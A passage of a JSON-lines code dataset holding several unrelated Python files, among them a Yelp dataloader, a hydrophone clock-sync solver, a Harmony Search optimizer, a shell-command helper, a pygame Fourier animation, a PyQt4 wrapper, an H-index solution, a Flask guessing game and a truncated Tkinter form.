vocab -----')\n self.vocab = Vocabulary(voc_f)\n print('vocabulary size:', self.vocab.size)\n self.pad = self.vocab.word2id['']\n self.go = self.vocab.word2id['']\n self.eos = self.vocab.word2id['']\n self.unk = self.vocab.word2id['']\n\n def get_references(self):\n\n assert self.mode == 'test', 'Only test mode support get_references().'\n path0 = os.path.join(self.root, 'reference.0')\n path1 = os.path.join(self.root, 'reference.1')\n ref0 = []\n ori0 = []\n ref1 = []\n ori1 = []\n with open(path0) as f:\n for i, line in enumerate(f):\n if i in self.remove0:\n continue\n ori, ref = line.split('\\t')\n ori = ori.split()\n ref = word_tokenize(ref.lower())\n ori0.append(ori)\n ref0.append(ref)\n with open(path1) as f:\n for i, line in enumerate(f):\n if i in self.remove1:\n continue\n ori, ref = line.split('\\t')\n ori = ori.split()\n ref = word_tokenize(ref.lower())\n ori1.append(ori)\n ref1.append(ref)\n ori0 = [[w if w in self.vocab.word2id else self.vocab.id2word[self.unk] for w in sent] for sent in ori0]\n ref0 = [[w if w in self.vocab.word2id else self.vocab.id2word[self.unk] for w in sent] for sent in ref0]\n ori1 = [[w if w in self.vocab.word2id else self.vocab.id2word[self.unk] for w in sent] for sent in ori1]\n ref1 = [[w if w in self.vocab.word2id else self.vocab.id2word[self.unk] for w in sent] for sent in ref1]\n return ori0, ref0, ori1, ref1\n\n def get_val_ori(self):\n assert self.mode == 'dev'\n ori_0 = [[w if w in self.vocab.word2id else self.vocab.id2word[self.unk] for w in sent] for sent in self.data0[:self.l0]]\n ori_1 = [[w if w in self.vocab.word2id else self.vocab.id2word[self.unk] for w in sent] for sent in self.data1[:self.l1]]\n return ori_0, ori_1\n\n def process_sent(self, sent):\n l = len(sent)\n sent_id = [self.vocab.word2id[w] if w in self.vocab.word2id else self.unk for w in sent]\n padding = [self.pad] * (self.max_len - l)\n _sent_id = noise(sent_id, self.unk, word_drop=0.3, k=1) if self.noisy else sent_id # TODO: changed here.\n bare = torch.LongTensor(_sent_id + padding) # shape = (20, )\n go = torch.LongTensor([self.go] + sent_id + padding) # shape = (21, )\n eos = torch.LongTensor(sent_id + [self.eos] + padding) # shape = (21, )\n return bare, go, eos, torch.LongTensor([l]).squeeze()\n\n def __getitem__(self, index):\n sent0 = self.data0[index]\n sent1 = self.data1[index]\n bare_0, go_0, eos_0, len_0 = self.process_sent(sent0)\n bare_1, go_1, eos_1, len_1 = self.process_sent(sent1)\n return bare_0, go_0, eos_0, len_0, bare_1, go_1, eos_1, len_1\n\n def __len__(self):\n return len(self.data0)\n\n\ndef makeup(_x, n):\n x = []\n for i in range(n):\n x.append(_x[i % len(_x)])\n return x\n\n\ndef noise(x, unk, word_drop=0.0, k=3):\n n = len(x)\n for i in range(n):\n if random.random() < word_drop:\n x[i] = unk\n\n # slight shuffle such that |sigma[i]-i| <= k\n sigma = (np.arange(n) + (k+1) * np.random.rand(n)).argsort()\n return [x[sigma[i]] for i in range(n)]","sub_path":"PTO-yelp/dataloaders/yelp.py","file_name":"yelp.py","file_ext":"py","file_size_in_byte":5540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"64077099","text":"\"\"\"\nTry to emulate yaps sync processing in stan,\nwith the hope of extending to splines.\n\nThis version moves to linear interpolation with a direct matrix-based \nsolution\n\"\"\"\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import collections\nimport pandas as pd\nimport os\nimport numpy as np\nfrom stompy import utils\nfrom scipy.interpolate import UnivariateSpline\n\n## \ndata_dir='yaps/full/20180316T0152-20180321T0003'\nall_detections=pd.read_csv(os.path.join(data_dir,'all_detections.csv'))\nhydros=pd.read_csv(os.path.join(data_dir,'hydros.csv'),index_col='serial')\n\nyaps_positions=pd.read_csv('yap-positions.csv',index_col='serial')\n\n##\n# Update original hydros locations with yap data\nfor idx,row in yaps_positions.iterrows():\n if idx in hydros.index:\n hydros.loc[idx,'x']=row['yap_x']\n hydros.loc[idx,'y']=row['yap_y']\n hydros.loc[idx,'z']=row['yap_z']\n\n## \n\n# Look at just 12 hours\n\n# First 12 hours work pretty well\n# t_sel_min=all_detections['epo'].min()\n# t_sel_max=t_sel_min+12*3600\n# detections=all_detections[ (all_detections['epo']>=t_sel_min)&(all_detections['epo']=t_sel_min)&(all_detections['epo'] slop_s)[0]\n\n breaks=np.r_[ 0,1+breaks,len(det_t_fracs)]\n for b_start,b_stop in zip(breaks[:-1],breaks[1:]):\n slc=slice(b_start,b_stop)\n\n toa_row=np.nan*np.zeros(len(hydros))\n toa_row[det_hydros[slc]]=det_t_fracs[slc]\n\n if np.isfinite(toa_row).sum() < b_stop-b_start:\n # now we can do more expensive testing\n mean_t_frac=np.nanmean(det_t_fracs[slc])\n for h in range(len(hydros)):\n if (det_hydros[slc]==h).sum()>1:\n # t_frac for the colliding detections\n t_frac_hydro=det_t_fracs[slc][ det_hydros[slc]==h ]\n # which one is closest to the mean\n best=np.argmin(np.abs(t_frac_hydro - mean_t_frac))\n toa_row[h]=t_frac_hydro[best]\n print(\"Discarding a ping\")\n\n toa_rows.append(toa_row)\n return np.array(toa_rows)\n\nall_toa_rows=[]\nall_sync_tag_idx=[]\n\nsync_tags=hydros['sync_tag'].values\nfor sync_tag in sync_tags:\n tag_detects=detections[ detections['tag']==sync_tag ].sort_values('t_frac')\n tag_detects=tag_detects.reset_index()\n print(f\"tag {sync_tag} with {len(tag_detects)} detections total\")\n toa_rows_tag=combine_detects(tag_detects)\n all_toa_rows.append(toa_rows_tag)\n sync_tag_idx=hydros[ hydros['sync_tag']==sync_tag ]['idx'].values[0]\n all_sync_tag_idx.append( sync_tag_idx * np.ones(toa_rows_tag.shape[0]))\n\n# --\n\ntoa_absolute=np.concatenate( all_toa_rows, axis=0)\nsync_tag_idx=np.concatenate( all_sync_tag_idx )\n\ndata['np']=len(sync_tag_idx)\ndata['H']= hydros.loc[:, ['x','y','z']].values\ndata['sync_tag_idx_vec']=sync_tag_idx.astype(np.int32)\n\n#--\n\n# Last thing is the offset and ss periods.\nn_offset_idx=data['n_offset_idx']=4\nn_ss_idx=data['n_ss_idx']=4\n\nt_min=np.nanmin(toa_absolute)-1\nt_max=np.nanmax(toa_absolute)+1\n\noffset_breaks=np.linspace(t_min,t_max,n_offset_idx+1)\nss_breaks =np.linspace(t_min,t_max,n_ss_idx+1)\n\ntoa_absolute_mean=np.nanmean(toa_absolute,axis=1)\n\noffset_idx=np.searchsorted(offset_breaks,toa_absolute_mean)\ntoa_offset=toa_absolute - offset_breaks[offset_idx-1,None]\n\nss_idx=np.searchsorted(ss_breaks,toa_absolute_mean)\n\ndata['offset_idx']=offset_idx # already 1-based b/c of t_min\ndata['ss_idx']=ss_idx \n\ndata['toa_offset'] = toa_offset\n\ndata['sigma_toa']=0.0001\n\n# --\n\n# Transformed data:\nxdata=dict(data)\ndist_mat=np.zeros( (data['nh'],data['nh']), np.float64)\nfor h1 in range(data['nh']):\n for h2 in range(data['nh']):\n dist_mat[h1,h2]=utils.dist(data['H'][h1],data['H'][h2])\nxdata['dist_mat']=dist_mat\nxdata['off_mask']=np.arange(xdata['nh'])!=(xdata['tk']-1)\nxdata['mean_toa_offset']=np.nanmean(xdata['toa_offset'],axis=1)\n\noff_mask=xdata['off_mask']\nmean_toa_offset=xdata['mean_toa_offset']\n\ndist_mat=xdata['dist_mat']\nsync_tag_idx_vec=xdata['sync_tag_idx_vec']-1\nss_idx0=xdata['ss_idx']-1\noffset_idx0=xdata['offset_idx']-1\ntoa_offset=xdata['toa_offset']\nvalid=np.isfinite(toa_offset)\n\n# Attempt a direct matrix solve\nMrows=[]\nbvals=[]\n\nnh=xdata['nh']\nn_off=xdata['n_offset_idx']\n# piecewise linear -- n_off intervals => n_off+1 values\nncols=((n_off+1) * nh) + (xdata['n_ss_idx'] + 1)\n\nrow_pings=[]\n\nfor p in range(xdata['np']):\n off_idx = xdata['offset_idx'][p]-1\n ss_idx = xdata['ss_idx'][p]-1\n tag_idx=xdata['sync_tag_idx_vec'][p]-1\n\n ss_alpha=mean_toa_offset[p]/(ss_breaks[ss_idx+1] - ss_breaks[ss_idx])\n off_alpha=( mean_toa_offset[p]\n /\n (offset_breaks[off_idx+1] - offset_breaks[off_idx]) )\n \n hi = np.nonzero( np.isfinite(xdata['toa_offset'][p,:] ))[0]\n h1=hi[0]\n for h2 in hi[1:]:\n row=np.zeros( ncols, np.float64)\n row[ (n_off+1)*h1 + off_idx] = -(1.0-off_alpha)\n row[ (n_off+1)*h1 + off_idx+1] = -(off_alpha)\n row[ (n_off+1)*h2 + off_idx] = (1-off_alpha)\n row[ (n_off+1)*h2 + off_idx+1] = off_alpha\n\n # soundspeed rows have inverse, so they are second / meter\n row[ nh*(n_off+1) + ss_idx] = (xdata['dist_mat'][h1,tag_idx] - xdata['dist_mat'][h2,tag_idx]) * (1-ss_alpha)\n row[ nh*(n_off+1) + ss_idx + 1] = (xdata['dist_mat'][h1,tag_idx] - xdata['dist_mat'][h2,tag_idx]) * ss_alpha\n \n Mrows.append(row)\n bvals.append( xdata['toa_offset'][p,h1] - xdata['toa_offset'][p,h2] )\n row_pings.append(p)\n# -- \n\n# so a row represents the difference in time-of-flight for a ping\n# from tag_idx to get to h1 vs. h2\n\nM=np.array(Mrows)\nb=np.array(bvals)\nrow_pings=np.array(row_pings)\n\n# That includes values for the timekeeper\n# drop those columns.\nsel=np.ones(M.shape[1],np.bool8)\ntk=xdata['tk']-1\nsel[tk*(n_off+1):(tk+1)*(n_off+1)]=False\nMslim=M[:,sel]\n\ninit=np.zeros(Mslim.shape[1])\ninit[-(xdata['n_ss_idx']+1):]=1./1450\n\nbad_pings=[]\n\nrmse=100\n\nwhile len(bad_pings)<200:\n valid=np.ones(Mslim.shape[0],np.bool8)\n valid[bad_pings]=False\n\n Mslim_nobad=Mslim[valid,:]\n\n # This very quickly gets down to 3.15ms.\n # powell gets there, but slower.\n soln,res,rank,sing=np.linalg.lstsq(Mslim[valid,:],\n b[valid],\n rcond=-1)\n\n Merrors=np.zeros(Mslim.shape[0],np.float64)\n Merrors[valid]=Mslim[valid,:].dot(soln) - b[valid]\n\n rmse=np.sqrt( (Merrors**2).mean() )\n print(\"RMSE: \",rmse)\n if rmse<0.001:\n print(\"Good enough\")\n break\n\n # Mark the worst ping as bad.\n bad_pings.append( np.argmax( np.abs(Merrors) ) )\n print(\"Worst ping row had error=\",Merrors[bad_pings[-1]])\n\n print(bad_pings)\nelse:\n raise Exception(\"Failed to get rid of enough bad pings to get a good RMSE\")\n\n#--\n\n# repack that into the form expected by previous code, to get an apples to apples\n# comparison.\ndef pack_parameters(kw):\n return np.r_[ kw['offset'][off_mask,:].ravel(), kw['ss'] ]\n\ndef unpack_parameters_lin(vec):\n i=0\n kw={}\n nh=data['nh'] ; no=data['n_offset_idx']\n kw['offset']=np.zeros( (nh,no+1), np.float64)\n kw['offset'][off_mask,:] = vec[i:i+(nh-1)*(no+1)].reshape( (nh-1,no+1) )\n i+=(nh-1)*(no+1)\n kw['ss']=vec[i:i+data['n_ss_idx']+1]\n i+=data['n_ss_idx']+1\n assert i==len(vec)\n return kw\n \ndef my_log_prob_lin(vec,out=False,valid=slice(None)):\n kw=unpack_parameters_lin(vec)\n\n # Linear interpolation\n # this only works when ss_breaks and offset_breaks are the same!\n ss_alpha= mean_toa_offset/(ss_breaks[ss_idx0+1] - ss_breaks[ss_idx0])\n ss_vals=(1-ss_alpha)*kw['ss'][ss_idx0] + ss_alpha*kw['ss'][ss_idx0+1]\n \n # [np,nh] giving transit time\n transit_times = dist_mat[sync_tag_idx_vec,:] / ss_vals[:,None]\n\n # Linear\n off_alpha=( mean_toa_offset\n /\n (offset_breaks[offset_idx0+1] - offset_breaks[offset_idx0]) )\n \n offset_vals=( (1-off_alpha)*kw['offset'][:,offset_idx0]\n +\n off_alpha*kw['offset'][:,offset_idx0+1] )\n \n # [np,nh] giving adjusted time of arrival\n toa_adjusted = xdata['toa_offset'] + offset_vals.T\n\n top_estimate = toa_adjusted - transit_times\n\n # minimize variance of top estimates\n errors=np.nanvar(top_estimate,axis=1)[valid]\n error=errors.sum() / (0.001**2)\n\n # Now include some priors:\n ss_prior = ((kw['ss']-1450)**2 / (30*30)).sum()\n off_prior = (kw['offset']**2 / (10*10)).sum()\n\n post= error + ss_prior + off_prior\n if out:\n return dict(post=post,rms_error=np.sqrt(errors.mean()),\n nll_ss=ss_prior,nll_off=off_prior,nll_error=error,\n errors=errors,\n offset_vals=offset_vals,\n ss_vals=ss_vals)\n else:\n return post\n\nbest=soln.copy()\nbest[-(xdata['n_ss_idx']+1):] = 1./best[-(xdata['n_ss_idx']+1):] \n\np=my_log_prob_lin(best)\n\n#\n\nif 0:\n # This includes pings with only one receiver, which\n # aren't useful.\n valid_pings=np.ones(len(mean_toa_offset), np.bool8 )\n valid_pings[ row_pings[~valid] ] = False\nif 1:\n # This is fairer -- but departs from previous scripts\n valid_pings=np.zeros(len(mean_toa_offset), np.bool8 )\n valid_pings[ row_pings[valid] ] = True\n valid_pings[ row_pings[~valid] ] = False\n\npy_opt=unpack_parameters_lin(best)\ncalcs=my_log_prob_lin(best,out=True,valid=valid_pings)\n\nplt.figure(2).clf()\nfig,axs=plt.subplots(3,1,num=2)\n\norder=np.argsort(toa_absolute_mean)\naxs[0].plot( toa_absolute_mean[order], calcs['ss_vals'][order], 'g',ms=1)\n\nfor h in range(data['nh']):\n axs[1].plot( toa_absolute_mean[order], calcs['offset_vals'][h,order],label=\"H=%d\"%h)\n\naxs[2].hist(np.sqrt(calcs['errors']),bins=np.logspace(-5,-2,100))\naxs[2].set_xlabel('Time-of-flight error (s)')\naxs[2].set_xscale('log')\n\naxs[2].text(0.9,0.95,\n \"\\n\".join([ \"nll: %.3e\"%calcs['post'],\n \" error: %.3e\"%calcs['nll_error'],\n \" offset: %.3e\"%calcs['nll_off'],\n \" ss: %.3e\"%calcs['nll_ss'],\n \"rmse: %.4f\"%calcs['rms_error']]),\n transform=axs[2].transAxes,va='top',ha='right')\n\n##\n\n# HERE:\n# The next question is whether this is comparable to the sync that yaps\n# does.\n# How best to compare them?\n# Maybe the easiest is to run the yaps sync for one of these 12 hour chunks,\n# and save the offsets,slope1,slope2 to netcdf or similar.\n# then I can use the sync_powell_yaps.py to do the comparison.\n\n\n# Or... I could apply these shifts to detections, write that out, \n# process in yaps with 1 offset idx and 1 ss idx ?\n\n# If it is possible to translate yaps_track.h into python/stan/scipy,\n# I'm more inclined to bring the yaps sync output into python.\n# If that's a rabbit-hole-in-waiting, better to push this sync data\n# to R.\n\n# The yaps code currently doesn't allow for linearly interpolated SS.\n# \n# It's a bit involved -- better to push sync. In fact just push the sync parameters.\n# And since this is a subset of the \n","sub_path":"field/hor_yaps/sync_sparse2.py","file_name":"sync_sparse2.py","file_ext":"py","file_size_in_byte":12102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"199109747","text":"import copy\n\nimport numpy as np\n\nimport opytimizer.math.random as r\nimport opytimizer.utils.history as h\nimport opytimizer.utils.logging as l\nfrom opytimizer.core.agent import Agent\nfrom opytimizer.core.optimizer import Optimizer\n\nlogger = l.get_logger(__name__)\n\n\nclass HS(Optimizer):\n \"\"\"A HS class, inherited from Optimizer.\n\n This will be the designed class to define HS-related\n variables and methods.\n\n References:\n Z. W. Geem, J. H. Kim, and G. V. Loganathan. A new heuristic optimization algorithm: Harmony search. Simulation (2001). \n\n \"\"\"\n\n def __init__(self, algorithm='HS', hyperparams=None):\n \"\"\"Initialization method.\n\n Args:\n algorithm (str): A string holding optimizer's algorithm name.\n hyperparams (dict): An hyperparams dictionary containing key-value\n parameters to meta-heuristics.\n\n \"\"\"\n\n logger.info('Overriding class: Optimizer -> HS.')\n\n # Override its parent class with the receiving hyperparams\n super(HS, self).__init__(algorithm=algorithm)\n\n # Harmony memory considering rate\n self._HMCR = 0.7\n\n # Pitch adjusting rate\n self._PAR = 0.7\n\n # Bandwidth parameter\n self._bw = 1\n\n # Now, we need to build this class up\n self._build(hyperparams)\n\n logger.info('Class overrided.')\n\n @property\n def HMCR(self):\n \"\"\"float: Harmony memory considering rate.\n\n \"\"\"\n\n return self._HMCR\n\n @HMCR.setter\n def HMCR(self, HMCR):\n self._HMCR = HMCR\n\n @property\n def PAR(self):\n \"\"\"float: Pitch adjusting rate.\n\n \"\"\"\n\n return self._PAR\n\n @PAR.setter\n def PAR(self, PAR):\n self._PAR = PAR\n\n @property\n def bw(self):\n \"\"\"float: Bandwidth parameter.\n\n \"\"\"\n\n return self._bw\n\n @bw.setter\n def bw(self, bw):\n self._bw = bw\n\n def _build(self, hyperparams):\n \"\"\"This method will serve as the object building process.\n\n One can define several commands here that does not necessarily\n needs to be on its initialization.\n\n Args:\n hyperparams (dict): An hyperparams dictionary containing key-value\n parameters to meta-heuristics.\n\n \"\"\"\n\n logger.debug('Running private method: build().')\n\n # We need to save the hyperparams object for faster looking up\n self.hyperparams = hyperparams\n\n # If one can find any hyperparam inside its object,\n # set them as the ones that will be used\n if hyperparams:\n if 'HMCR' in hyperparams:\n self.HMCR = hyperparams['HMCR']\n if 'PAR' in hyperparams:\n self.PAR = hyperparams['PAR']\n if 'bw' in hyperparams:\n self.bw = hyperparams['bw']\n\n # Set built variable to 'True'\n self.built = True\n\n # Logging attributes\n logger.debug(\n f'Algorithm: {self.algorithm} | Hyperparameters: HMCR = {self.HMCR}, PAR = {self.PAR}, bw = {self.bw} | Built: {self.built}.')\n\n def _generate_new_harmony(self, agent, lower_bound, upper_bound):\n \"\"\"It generates a new harmony.\n\n Args:\n agent (Agent): An agent class instance.\n lower_bound (np.array): Array holding lower bounds.\n upper_bound (np.array): Array holding upper bounds.\n\n Returns:\n A new agent (harmony) based on music generation process.\n\n \"\"\"\n\n # Mimics its position\n a = copy.deepcopy(agent)\n\n # Generates an uniform random number\n r1 = r.generate_uniform_random_number(0, 1)\n\n # Using harmony memory\n if r1 < self.HMCR:\n # Generates a new uniform random number\n r2 = r.generate_uniform_random_number(0, 1)\n\n # Checks if it needs a pitch adjusting\n if r2 < self.PAR:\n # Generates a final random number\n r3 = r.generate_uniform_random_number(-1, 1)\n\n # Updates harmony position\n a.position += (r3 * self.bw)\n\n # If harmony memory is not used\n else:\n # Generates a new random harmony\n for j, (lb, ub) in enumerate(zip(lower_bound, upper_bound)):\n # For each decision variable, we generate uniform random numbers\n a.position[j] = r.generate_uniform_random_number(\n lb, ub, size=agent.n_dimensions)\n\n return a\n\n def _update(self, agents, lower_bound, upper_bound, function):\n \"\"\"Method that wraps the update pipeline over all agents and variables.\n\n Args:\n agents (list): List of agents.\n lower_bound (np.array): Array holding lower bounds.\n upper_bound (np.array): Array holding upper bounds.\n function (Function): A function object.\n\n \"\"\"\n\n # Calculates a random index\n i = int(r.generate_uniform_random_number(0, len(agents)))\n\n # Generates a new harmony\n agent = self._generate_new_harmony(agents[i], lower_bound, upper_bound)\n\n # Calculates the new harmony fitness\n agent.fit = function.pointer(agent.position)\n\n # Sorting agents\n agents.sort(key=lambda x: x.fit)\n\n # If newly generated agent fitness is better\n if agent.fit < agents[-1].fit:\n # Updates the corresponding agent's object\n agents[-1] = copy.deepcopy(agent)\n\n def run(self, space, function):\n \"\"\"Runs the optimization pipeline.\n\n Args:\n space (Space): A Space object that will be evaluated.\n function (Function): A Function object that will be used as the objective function.\n\n Returns:\n A History object holding all agents' positions and fitness achieved during the task.\n\n \"\"\"\n\n # Initial search space evaluation\n self._evaluate(space, function)\n\n # We will define a History object for further dumping\n history = h.History()\n\n # These are the number of iterations to converge\n for t in range(space.n_iterations):\n logger.info(f'Iteration {t+1}/{space.n_iterations}')\n\n # Updating agents\n self._update(space.agents, space.lb, space.ub, function)\n\n # Checking if agents meets the bounds limits\n space.check_bound_limits(space.agents, space.lb, space.ub)\n\n # After the update, we need to re-evaluate the search space\n self._evaluate(space, function)\n\n # Every iteration, we need to dump the current space agents\n history.dump(space.agents, space.best_agent)\n\n logger.info(f'Fitness: {space.best_agent.fit}')\n logger.info(f'Position: {space.best_agent.position}')\n\n return history\n","sub_path":"opytimizer/optimizers/hs.py","file_name":"hs.py","file_ext":"py","file_size_in_byte":6833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"47679793","text":"# -*- coding: utf-8 -*-\n\n# util.py: utility functions\n#\n# Copyright © 2007, 2008 Red Hat, Inc.\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n#\n# Authors:\n# Nils Philippsen \n\nimport os\n\n\ndef getstatusoutput(cmd):\n \"\"\"Return (status, output) of executing cmd in a shell.\"\"\"\n\n pipe = os.popen(\"{ %s ; } 2>&1\" % cmd, \"r\")\n text = pipe.read()\n status = pipe.close()\n if status is None:\n status = 0\n\n if text[-1:] == \"\\n\":\n text = text[:-1]\n\n return (status, text)\n\n\n","sub_path":"import_script/lib/site-packages/scservices/core/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"299861121","text":"import pygame\r\nimport math\r\n\r\npygame.init()\r\nwidth=1000\r\nheight=600\r\ngameDisplay=pygame.display.set_mode((width,height))\r\nwhite=(255,255,255)\r\n\r\n\r\n#global varibales\r\ntime=0\r\nx_cord=0\r\ny_cord=0\r\nspeed=0.005\r\ng_radius=100\r\n\r\nsignal=[]\r\ndef show_series(ori_depth,c_x,c_y):\r\n\r\n\tglobal time,speed,g_radius\r\n\r\n\t\r\n\t\t\r\n\t\t\r\n\t\t# print(radius)\r\n\tfor depth in range(1,ori_depth+1,2):\r\n\t\tradius=int(g_radius*(4/(depth*math.pi)))\r\n\t\tc_cord=(int(c_x),int(c_y))\r\n\t\tpygame.draw.circle(gameDisplay,white,c_cord,radius,1)\r\n\t\t\r\n\t\tx_cord=c_x+radius*math.cos(depth*time)\r\n\t\ty_cord=c_y+radius*math.sin(depth*time)\r\n\r\n\t\tcord=(int(x_cord),int(y_cord))\r\n\t\tc_x,c_y=x_cord,y_cord\r\n\r\n\r\n\t\tpygame.draw.circle(gameDisplay,(0,0,0),cord,2)\r\n\r\n\t\t#drawing line\r\n\t\tpygame.draw.line(gameDisplay,(0,0,0),c_cord,cord)\r\n\r\n\t\t\r\n\t# gameDisplay.set_at((int(x_cord),int(y_cord)),(255,0,0))\r\n\t# pygame.draw.line(gameDisplay,white,(x_cord,y_cord),(450,y_cord))\r\n\tsignal.insert(0,(x_cord,y_cord))\r\n\tk=0\r\n\tfor i in range(len(signal)):\r\n\t\tgameDisplay.set_at((int(signal[i][0]),int(signal[i][1])),(255,0,0))\r\n\t\tk+=0.1\r\n\t\r\n\tif len(signal)>2000:\r\n\t\tsignal.pop()\r\n\r\n\r\n\r\n\ttime-=speed\r\n\toffset=500\r\n\t\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__==\"__main__\":\r\n\trun=True\r\n\twhile run:\r\n\r\n\t\tgameDisplay.fill(white)\r\n\r\n\t\tshow_series(101,200,400)\r\n\r\n\t\tfor event in pygame.event.get():\r\n\t\t\tif event.type==pygame.QUIT:\r\n\t\t\t\texit()\r\n\r\n\t\tpygame.display.update()","sub_path":"fourier transform visual/visual2.py","file_name":"visual2.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"412507796","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build\\bdist.win32\\egg\\xqt\\pyqt4_wrapper.py\n# Compiled at: 2013-11-15 20:07:39\n__doc__ = ' Sets up the Qt environment to work with various Python Qt wrappers '\n__authors__ = [\n 'Eric Hulser']\n__author__ = (',').join(__authors__)\n__credits__ = []\n__copyright__ = 'Copyright (c) 2012, Projex Software'\n__license__ = 'LGPL'\n__maintainer__ = 'Projex Software'\n__email__ = 'team@projexsoftware.com'\nimport logging, re\nfrom PyQt4 import QtCore, QtGui, QtXml, QtWebKit, QtNetwork, uic\nlogger = logging.getLogger(__name__)\ntry:\n from PyQt4 import Qsci\nexcept ImportError:\n logger.debug('PyQt4.Qsci is not installed.')\n Qsci = None\n\ntry:\n from PyQt4 import QtDesigner\nexcept ImportError:\n logger.debug('PyQt4.QtDesigner is not installed.')\n QtDesigner = None\n\nSIGNAL_BASE = QtCore.SIGNAL\n\ndef SIGNAL(signal):\n match = re.match('^(?P\\\\w+)\\\\(?(?P[^\\\\)]*)\\\\)?$', str(signal))\n if not match:\n return SIGNAL_BASE(signal)\n method = match.group('method')\n args = match.group('args')\n args = re.sub('\\\\bobject\\\\b', 'PyQt_PyObject', args)\n new_signal = '%s(%s)' % (method, args)\n return SIGNAL_BASE(new_signal)\n\n\ndef createMap(qt):\n qt['uic'] = uic\n qt['PyObject'] = 'PyQt_PyObject'\n qt['QtCore'] = QtCore\n qt['QtDesigner'] = QtDesigner\n qt['QtGui'] = QtGui\n qt['Qsci'] = Qsci\n qt['QtWebKit'] = QtWebKit\n qt['QtNetwork'] = QtNetwork\n qt['QtXml'] = QtXml\n qt['SIGNAL'] = SIGNAL\n qt['SLOT'] = QtCore.SLOT\n qt['Signal'] = QtCore.pyqtSignal\n qt['Slot'] = QtCore.pyqtSlot\n qt['Property'] = QtCore.pyqtProperty\n qt['QStringList'] = QtCore.QStringList\n QtCore.Signal = QtCore.pyqtSignal\n QtCore.Slot = QtCore.pyqtSlot\n QtCore.Property = QtCore.pyqtProperty\n QtCore.SIGNAL = SIGNAL\n QtCore.QDate.toPython = lambda x: x.toPyDate()\n QtCore.QDateTime.toPython = lambda x: x.toPyDateTime()\n QtCore.QTime.toPython = lambda x: x.toPyTime()","sub_path":"pycfiles/projhelper-0.0.9.tar/pyqt4_wrapper.py","file_name":"pyqt4_wrapper.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"33902473","text":"class Solution(object):\n def hIndex(self, citations):\n \"\"\"\n :type citations: List[int]\n :rtype: int\n \"\"\"\n n = len(citations)\n count = [0 for i in range(n + 1)]\n for cit in citations:\n if cit > n:\n count[n] += 1\n else:\n count[cit] += 1\n\n total = 0\n for i in range(n, -1, -1):\n total += count[i]\n if total >= i:\n return i\n return 0\n","sub_path":"274. H-Index/274-2.py","file_name":"274-2.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"437788280","text":"from flask import Flask, render_template, request, redirect, session\napp = Flask(__name__)\napp.secret_key = 'hotdoggy'\n\n#No congratulations\n\n@app.route('/')\ndef index():\n # import random\n # session['mynumber'] = 55\n # session['mynumber'] = random.randint(1,100)\n return render_template(\"great_number_game_onepage.html\")\n\n@app.route('/checkguess', methods=['POST'])\ndef checking():\n mynumber = 55\n guess = request.form['guess']\n\n if int(guess) < mynumber:\n remark = \"Too low!\"\n color = \"red\"\n correct = False\n\n elif int(guess) > mynumber:\n remark = \"Too high!\"\n color = \"red\"\n correct = False\n\n elif int(guess) == mynumber:\n remark = str(mynumber) + \" was the number!\"\n color = \"green\"\n correct = True\n\n return render_template(\"great_number_game_onepage.html\", remark=remark, color=color, correct=correct)\n\n# @app.route('/congratulations')\n# def congratulations():\n# remark = \"55 was the number!\"\n# color = \"green\"\n# return render_template(\"congratulations.html\", remark=remark, color=color)\n#\n# @app.route('/goback', methods=['POST'])\n# def goback():\n# # session.pop('mynumber')\n# return redirect('/')\n","sub_path":"Python/Flask_Fundamentals/Great_Number_Game/111.py","file_name":"111.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"584653123","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkinter import messagebox as MessageBox\r\nimport pickle\r\nimport time\r\n\r\nclass Persona():\r\n\r\n def __init__(self, nombres, apellidos, dni):\r\n\r\n self.nombres = nombres\r\n self.apellidos = apellidos\r\n self.dni = dni\r\n\r\n def __str__(self):\r\n\r\n return \"\"\"\\\r\nNombres:\\t {}\r\nApellidos:\\t {}\r\nDNI:\\t\\t {}\\n\"\"\".format(self.nombres, self.apellidos, self.dni)\r\n\r\nclass Aplicacion(Frame):\r\n\r\n def __init__(self, ventana):\r\n\r\n super().__init__(ventana)\r\n self.ventana = ventana\r\n self.ventana.title(\"Registro de Personas\")\r\n self.ventana.resizable(False, False)\r\n self.widgets()\r\n self.cargar()\r\n \r\n def widgets(self):\r\n\r\n # Widget LabelFrame\r\n\r\n frame = LabelFrame(self.ventana, text = \"Agregar nueva persona\")\r\n frame.grid(row = 0, column = 0, columnspan = 3, pady = 50)\r\n\r\n # Menu de nuestro programa\r\n\r\n menubar = Menu(self.ventana)\r\n self.ventana.config(menu = menubar)\r\n\r\n buscarpersonamenu = Menu(menubar, tearoff = 0)\r\n menubar.add_cascade(label = \"Buscar persona\", menu = buscarpersonamenu)\r\n buscarpersonamenu.add_command(label = \"Buscar por sus nombres\", command = 